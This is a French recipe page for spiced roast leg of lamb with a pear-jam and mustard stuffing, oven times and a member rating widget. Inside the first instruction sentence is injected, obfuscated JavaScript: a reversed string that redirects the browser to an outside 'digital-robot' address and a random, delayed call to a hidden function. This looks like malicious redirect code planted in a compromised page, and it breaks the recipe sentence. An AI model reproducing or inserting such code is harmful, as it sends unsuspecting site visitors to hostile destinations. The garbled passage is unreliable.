Gigot aux épices
2021-05-05Dans un bol mélangez la gousse d’ail écrasée, la moutarde, le jaune d’œuf, incorporez peu à peu tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en fouettant 2 cuillères à soupe d’huile d’arachide, la chapelure, 100 g de confiture de poires, une pincée de sel.
Ingrédients
Dans un bol mélangez la gousse d’ail écrasée, la moutarde, le jaune d’œuf, incorporez peu à peu tout en fouettant 2 cuillères à soupe d’huile d’arachide, la chapelure, 100 g de confiture de poires, une pincée de sel. Garnissez de cette farce la cavité où se logeait l’os du gigot. Dans un bol mélangez 2 cuillères à soupe d’huile d’arachide avec les 2 dernières gousses d’ail écrasées, le paprika, salez et poivrez. Avec un pinceau enduisez toute la surface du gigot de ce mélange.
Préchauffez le four à 180°C thermostat 6.
Déposez la viande dans un plat allant au four. Enfournez et faites cuire pendant 1 heure. Vérifiez la cuisson.
Sortez le gigot du four, couvrez d’une feuille d’aluminium. Laissez reposer pendant 5 minutes. Faites fondre la confiture restante que vous versez sur le gigot coupé en fines tranches.
Et servezPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
Etape 11
Etape 12
Note des membres
(0 / 5)
0 personne(s) ont noté cette recette
Related Recipes:
-
Tagliatelles au poulet avec ses légumes
-
Paupiettes Estivales